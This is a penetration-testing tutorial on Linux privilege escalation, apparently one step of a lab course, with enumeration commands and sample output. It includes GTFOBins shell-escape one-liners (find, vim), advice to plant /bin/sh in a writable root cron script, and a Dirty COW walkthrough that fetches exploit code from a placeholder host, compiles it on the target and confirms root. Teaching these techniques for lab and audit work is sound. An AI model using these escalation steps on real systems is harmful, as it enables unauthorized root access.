Penetration testing
Step 125. Introduction to Privilege Escalation — From Shell to root
Level 2 — Introduction to Security and Attack Skill Basics | Difficulty ★★★★☆ | Estimated time: 3 hours
Prerequisites: the setuid concept from Step 99, the misconfiguration topics from Steps 106–110 (SUID, sudo, cron), and shell acquisition from Step 121.
- What you need: a Linux environment (WSL works). Every enumeration command in this chapter is measured directly on your own Linux. Actual attack scenes (Dirty COW, etc.) are presented as screen examples from the MS2 lab.
- ⚠️ All exercises in this chapter are for your own lab and legal platforms only. Applying them to unauthorized systems is a crime.
You penetrated successfully and got a shell. Congratulations — but check who owns that shell and it’s mostly disappointing: a powerless service account like www-data or daemon. Today’s topic is the road from here up to root (Linux’s highest privilege, uid 0) — privilege escalation. There are broadly two roads: ① find and abuse the administrator’s misconfigurations, ② attack known bugs in an old kernel. Today we measure the first road’s reconnaissance methods on your own computer, and learn the second road through concepts and screen examples.
1. Learning Objectives
By the end of this chapter, you will be able to:
- Run reconnaissance commands that enumerate system info, accounts, and privileges from a restricted shell
- Pull a list of SUID files with
find / -perm /4000and pick out candidates - Explain what GTFOBins is and know how to look things up in it
- Read sudo configuration and cron jobs from a privilege-escalation perspective
- Explain the concept and usage procedure of a kernel exploit (Dirty COW)
2. Background Knowledge — Today’s Tools and Concepts
Today’s Tools at a Glance
| Category | Details |
|---|---|
| Language/environment | Linux shell (WSL measurements + MS2 screen examples) |
| Today’s commands | uname -a, id, cat /etc/passwd, find / -perm /4000, sudo -l, cat /etc/crontab |
| Concepts needed | Privilege escalation (privesc), SUID abuse, sudo rules, GTFOBins, kernel exploits |
| Today’s artifact | A privesc recon command collection + an escalation-path memo |
2-1. Check the Shell’s Owner First — Who Am I Right Now?
The first command you type right after penetration is id (review from Step 99). uid 33 means www-data — a servant account made to do web server work, one that can’t even log in by itself. With this account you can’t even read system files. That’s why penetration doesn’t end at a shell — it continues into escalation.
We confirmed this difference directly on my computer (measured 2026-09-09 on WSL — an experiment becoming www-data and trying to read /etc/shadow):
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ cat /etc/shadow
cat: /etc/shadow: Permission denied
The same command shows every user’s password hashes as root, but one line of Permission denied as www-data. "Same shell, different privilege" — this difference is exactly what privilege escalation aims for.
2-2. The Two Roads of Escalation
Road 1 — Abusing misconfigurations. You find gaps the administrator left for convenience. The representative ones:
- SUID files (Step 99): programs that run as their owner the moment they execute. root-owned + SUID + manipulable input = an escalation candidate
- sudo rules: openings like "this user may run only this command via sudo" — if that command has a hole to escape into a shell, it’s over
- cron jobs: if a script root runs periodically is a file I can write to, replace its contents and you’re done
Road 2 — Kernel exploits. You attack known bugs in the operating system’s heart (the kernel). The famous example is Dirty COW (CVE-2016-5195) — a flaw in the Linux kernel’s copy-on-write memory handling that lets you overwrite even read-only files as root. MS2 (Metasploitable2)’s kernel 2.6.x is vulnerable to this bug. The older the system, the more likely this road is open.
The order in real work is fixed — look for misconfigurations first, and only then look at the kernel. Kernel exploits can bring the system down, so they’re a last resort.
2-3. GTFOBins — The "Can This Program Escape to a Shell?" Dictionary
Finding a SUID file or a sudo-allowed command isn’t the end. You need to know whether that program can really be used for escalation. GTFOBins (gtfobins.github.io) is a public dictionary organizing how standard Linux commands "get abused to seize privileges." For example, if find is set as SUID:
find . -exec /bin/sh ; -quit
This one line opens a shell with find’s privilege (=root). GTFOBins organizes these "bypass recipes" per command, per situation (for SUID, for sudo). Discover a candidate → look it up on GTFOBins → verify the recipe is the standard flow of escalation work.
2-4. What "Compiling on the Target" Means
Kernel exploits are distributed as C source code. Running them requires compiling, and MS2 has gcc installed — meaning you can move the attack code to the target and compile it right there. What if the target has no gcc? Then you pre-compile on your Kali in an environment matching the target (architecture, libraries) and move only the executable — this is called cross-compiling. "What tools exist on the target" is itself a recon item for this reason.
3. Follow Along
All of today’s recon commands are read-only. Follow along on your own WSL — none of them change the system.
3-1. Who Am I, and What Is This Machine?
id
uname -a
cat /etc/os-release | head -3
Output (measured 2026-09-09 on WSL):
uid=0(root) gid=0(root) groups=0(root)
Linux XI3492 6.18.33.2-microsoft-standard-WSL2 #1 SMP PREEMPT_DYNAMIC ... x86_64 GNU/Linux
PRETTY_NAME="Ubuntu 24.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
How to read it: three commands draw the map of escalation work. ① id — current privilege (your measurement environment starts as root, so read it while imagining a low privilege like daemon right after penetration). ② The kernel version in uname -a — here it’s 6.18, the latest, so there are no kernel-exploit candidates, but on MS2 you’d see 2.6.24, making it a Dirty COW candidate. The kernel version = the key for searching "are there known bugs?" ③ The OS version — for checking exploit compatibility.
3-2. The Account Map — Reading /etc/passwd
cat /etc/passwd
Partial output (measured 2026-09-09 on WSL):
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
...
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
How to read it: seven fields separated by colons — name:password-mark:uid:gid:description:home:shell. Through an attacker’s eyes, look at two places. ① Accounts whose shell is /bin/bash — the login-capable "human" accounts (here only root; on a normal server, user accounts). ② Accounts with uid 0 — a root alias could be hiding, so more than one 0 is a major incident. /etc/passwd is a file designed to be readable by everyone (it was readable even in the www-data experiment in 3-1), so it’s enumerable even before escalation. The password hashes live separately in /etc/shadow — which is why shadow is root-only.
3-3. Hunting SUID — find / -perm /4000
The representative command of privesc recon (measured 2026-09-09 on WSL):
find / -perm /4000 -type f 2>/dev/null
Output (measured 2026-09-09):
/usr/lib/openssh/ssh-keysign
/usr/lib/landscape/apt-update
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/bin/umount
/usr/bin/su
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/mount
/usr/bin/fusermount3
/usr/bin/gpasswd
How to read it: it means all of these are root-owned + SUID. Confirm with ls -l /usr/bin/passwd and you’ll see (measured 2026-09-09) -rwsr-xr-x 1 root root — the s in the owner position. Now the attacker’s question: "Is there anything in this list that shouldn’t be here?" passwd, sudo, su, mount are normal residents. But if names like find, vim, cp, python were mixed in — commands with recipes on GTFOBins — that itself is an escalation path. On MS2 or wargames, a "strange guest" is deliberately planted in this list. Build the habit of searching GTFOBins whenever an unfamiliar name appears.
Dissecting the command’s parts: -perm /4000 means "things with the SUID bit on," and 2>/dev/null means "throw away error messages from folders I lack permission to read." In a low-privilege shell, without this option, errors bury the screen.
3-4. Reading sudo Rules — sudo -l
sudo -l
Output (measured 2026-09-09 on WSL — it comes out like this because the experiment account is root):
Matching Defaults entries for root on XI3492:
env_reset, mail_badpass, secure_path=..., use_pty
User root may run the following commands on XI3492:
(ALL : ALL) ALL
How to read it: it’s the list of "what this user may do via sudo." (ALL : ALL) ALL is the everything-possible state of root. For a low account right after penetration you’d usually get "Sorry, user www-data may not run sudo," but in wargames a line like this sometimes appears — User bob may run: (root) NOPASSWD: /usr/bin/find. "Can run find as root without a password" — follow GTFOBins’ find sudo recipe verbatim and escalation is complete. sudo -l is the command you type right after SUID in escalation recon.
3-5. Peeking at Automated Jobs — /etc/crontab
cat /etc/crontab
Output (measured 2026-09-09 on WSL — there are no real jobs, just the skeleton):
SHELL=/bin/sh
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# ...
How to read it: if there’s a line here like * * * * * root /opt/backup.sh — "root runs backup.sh every minute." The next question is "can I modify that script?" If ls -l /opt/backup.sh shows write permission open to ordinary users, plant a /bin/sh execution in the contents, wait a minute, and a root shell is born (the real-world version of the mindset from working with cron in Step 100). The WSL measurement showed only the example skeleton, but on MS2 and wargames this file holds real clues.
3-6. Finding Writable Files
find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" 2>/dev/null | head
Output (measured 2026-09-09 on WSL — system files appear because we’re root):
/var/lib/command-not-found/commands.db
/var/lib/PackageKit/transactions.db
/var/lib/landscape/landscape-sysinfo.cache
...
How to read it: type this command from a low-privilege shell and you get a list of "files I can touch." If system scripts or config files are mixed into that list — cron scripts, sudoers fragments, service configs — that’s a thread of escalation. The output is long, so always skim with | head, and look closely only when a strange path shows up.
3-7. The Kernel Road — The Dirty COW Attack Flow (screen example)
Here’s the actual attack flow in the MS2 lab (this environment has no MS2, so it’s a screen example):
# 1. Check the kernel — 2.6.x makes it a Dirty COW candidate
uname -a
# Linux metasploitable 2.6.24-16-server #1 SMP ... i686 GNU/Linux
# 2. Search for and obtain the exploit on Kali
searchsploit dirty cow
searchsploit -m 40839 # obtain the famous cowroot-family code
# 3. Transfer to the target (Kali: python3 -m http.server → MS2: wget)
wget http://KALI_IP:8000/40839.c -O /tmp/dcow.c
# 4. Compile on the target — MS2 has gcc
gcc -pthread /tmp/dcow.c -o /tmp/dcow
# 5. Run, then verify
/tmp/dcow
id
# uid=0(root) gid=0(root) groups=0(root)
How to read it: see the flow’s skeleton — ① judge vulnerability by version check → ② search public exploits → ③ transfer the file → ④ compile on the target → ⑤ run and verify with id. That one line where id‘s uid changed to 0 is the evidence of escalation success — and the scene that becomes a screenshot in the Step 128 report. If a compile error appears, the standard play is checking the compile options written in the code’s comments (-pthread, etc.).
Caution: a kernel exploit is a last resort that can bring the system down. Ransack the misconfigurations first, then use it.
4. Missions & Exercises
Mission — Building a Privesc Recon Command Collection
- Run all six recon commands from 3-1~3-6 yourself on your Linux and save the outputs
- Establish criteria for distinguishing "normal residents" from "names you’d suspect if they were strange guests" in the SUID list
- Write one line each on "what information this gives an attacker" for every command, completing a recon table
- (If you have a lab) Gain root on MS2 via Dirty COW or a misconfiguration, then document the path you used
- Create
privesc-recon.mdin your wiki — command / information gained / conditions leading to escalation
Exercises
Exercise 1. In find / -perm /4000 -type f 2>/dev/null, what happens in a low-privilege shell without the 2>/dev/null?
Exercise 2. Suppose the sudo -l output contains (root) NOPASSWD: /usr/bin/vim. Explain from GTFOBins’ perspective why this is immediately a root escalation path.
Exercise 3. State two reasons for trying misconfiguration abuse before kernel exploits.
Exercise 4. Anyone can read /etc/passwd, but only root can read /etc/shadow (see the measurement in 3-1). If this separation didn’t exist, what attack would have become much easier?
Answers & completion criteria · expand/collapse
5. Model Answers & Completion Criteria
Mission Model Answer
A completed recon table example (commands exactly as measured in section 3):
| Command | Information gained | Condition leading to escalation |
|---|---|---|
id |
Current privilege | — (the verification tool for escalation success) |
uname -a |
Kernel version | A known-vulnerable kernel makes it an exploit candidate |
cat /etc/passwd |
Account & shell list | Identify login-capable accounts, duplicate uid 0 |
find / -perm /4000 |
SUID list | A strange name found that’s on GTFOBins |
sudo -l |
sudo-allowed commands | NOPASSWD + a command with a bypass recipe |
cat /etc/crontab |
root’s automated jobs | A job script is writable |
find / -writable ... |
Files I can write | System scripts or configs mixed in |
How to verify: ① did you save the six commands’ outputs yourself? ② can you distinguish passwd, sudo, su, mount as "normal" in the SUID list? ③ if you escalated in a lab, did you keep the before/after id comparison (the uid change) as evidence?
Exercise Answers
Answer 1. A flood of Permission denied errors pours out for every folder you can’t enter, burying the actually important results (the SUID files found) under error messages. 2> is the error-output channel and /dev/null is the discard bin — it means "throw away the errors and show me only the results."
Answer 2. vim is an editor, but it has features to run external commands and shells from inside. GTFOBins’ vim sudo recipe is "run :!/bin/sh inside vim" — since it’s a shell launched by a vim launched via sudo, that shell is root. Any command with the combination of "a high-privilege program + a feature that escapes to a shell" becomes an escalation path.
Answer 3. First, safety — misconfiguration abuse works within the system’s normal features, so there’s no risk of a crash, while a failed kernel exploit can freeze the system. Second, discoverability — administrator mistakes (SUID abuse, loose sudo) often can’t be fixed by patches, so they remain even on systems that aren’t old.
Answer 4. If hashes were public to everyone, anyone could copy the hashes and crack them offline at leisure on their own computer (Steps 123–124). As it is, you must first become root to get shadow, so a long chain of "escalate → steal shadow → crack" is required. Separating a single read permission lengthened the attack chain by two stages — a textbook case of good security design raising the attacker’s cost.
Completion Criteria Checklist
- [ ] I can check current privilege and kernel version with
idanduname -a - [ ] I can read the field structure of
/etc/passwdand "accounts with shells" - [ ] I pull the SUID list with
find / -perm /4000and distinguish normal from strange - [ ] I know what a NOPASSWD entry means in
sudo -loutput - [ ] I can explain GTFOBins’ purpose and lookup flow
- [ ] I can state the Dirty COW attack’s 5-step flow in order
- [ ] I can explain why misconfigurations come first
- [ ] Mission: I completed the recon table and
privesc-recon.md
6. Common Pitfalls & Fixes
Wall 1. find results get buried in errors
Symptom: you typed find / -perm /4000 and the screen gets plastered like this (measured form):
find: '/proc/...': Permission denied
find: '/sys/...': Permission denied
Cause: error messages from folders your low privilege can’t read come out mixed with the results.
Fix: append 2>/dev/null — find / -perm /4000 -type f 2>/dev/null. Remember that recon commands almost always carry this tail.
Wall 2. I pulled the SUID list but don’t know what to look at
Symptom: you freeze in front of a list of 14 entries.
Cause: you don’t know the faces of the "normal residents," so you can’t spot the strange ones. It’s normal — a list becomes familiar after a few viewings.
Fix: save the 3-3 measured list (Ubuntu’s normal residents) as your baseline. After that, on any system, whenever a name not on this list appears, search it on GTFOBins first. Baseline comparison — the same mindset as Step 95’s change detection.
Wall 3. sudo -l asks for a password
Symptom: you typed sudo -l and it asks [sudo] password for www-data:.
Cause: the configuration requires your own password even to look up sudo rules — and you don’t know the password of the service account you got through penetration.
Fix: if you don’t know it, move on to other recon. The fact that "it asks for a password" is itself information — it means seeing this account’s sudo requires another path (try reading the config file /etc/sudoers — usually root-only so it blocks you, but that too is worth checking).
Wall 4. I compiled a kernel exploit and got errors
Symptom (screen example): undefined reference errors when running gcc.
Cause: each exploit needs different compile options — code that uses threads won’t build without -pthread.
Fix: read the comments at the top of the exploit source file. Most public exploits have "compile it like this" written in the comments. If it still fails, pick a different version of the code — famous vulnerabilities like Dirty COW have many implementations, so starting with a well-known, well-documented one is faster.
Wall 5. I know the goal is "root," but I forget what to type first
Symptom: your hands freeze in front of the shell.
Cause: the recon order hasn’t stuck to your body yet. It’s normal — order isn’t memorized, it’s written down.
Fix: preserve this order chart in your wiki — ① id (who am I) → ② uname -a (kernel candidates) → ③ sudo -l (allowed commands) → ④ find / -perm /4000 (SUID) → ⑤ cat /etc/crontab (automated jobs) → ⑥ find / -writable (writable files). Work from the front, and when something "strange" appears, stop there and dig. There are also tools that run this order automatically (auto-enumeration scripts like linPEAS), but only someone who knows the manual order can read a tool’s output.
7. Summary
Today’s Concepts
| Concept | One-line explanation |
|---|---|
| Privilege escalation (privesc) | The process of climbing from a low-privilege shell to root (uid 0) |
| Misconfiguration abuse | The road using loose SUID, sudo, and cron settings — always first |
| Kernel exploit | The last-resort road attacking known kernel bugs (Dirty COW, etc.) |
| GTFOBins | A dictionary of privilege-seizure recipes for standard commands — look up after finding a candidate |
| passwd/shadow separation | A design that lengthens the attack chain by isolating hashes as root-only |
| Compile on target | Build exploit source with the target’s gcc — cross-compile if absent |
Today’s Commands
| Command | What it does |
|---|---|
id |
Current uid/gid — the baseline for before/after escalation verification |
uname -a |
Kernel version — the key for exploit searches |
cat /etc/passwd |
The account map (readable by anyone) |
find / -perm /4000 -type f 2>/dev/null |
List SUID files |
sudo -l |
Look up sudo commands allowed to me |
cat /etc/crontab |
Peek at root’s automated jobs |
find / -writable -type f 2>/dev/null |
Find files I can write |
An Instinct More Important Than Commands
Privilege escalation is not "one magic command" — it’s the yield of reconnaissance. Six read-only commands draw a map, you find the strange points on the map, confirm the recipe on GTFOBins, and prove it at the end with id. Now flip it over and read it with a defender’s eyes — every recon command you learned today is also an audit command. Periodically running find / -perm /4000 on your own server to check for strange SUIDs — that is the way to block the road before the attacker. Attack and defense run the same commands — everything you learn in this course is like that.
Once every box is checked, Step 125 is complete.
ONE STEP FURTHER
Finished this lesson?
Check the completion criteria, then mark your progress.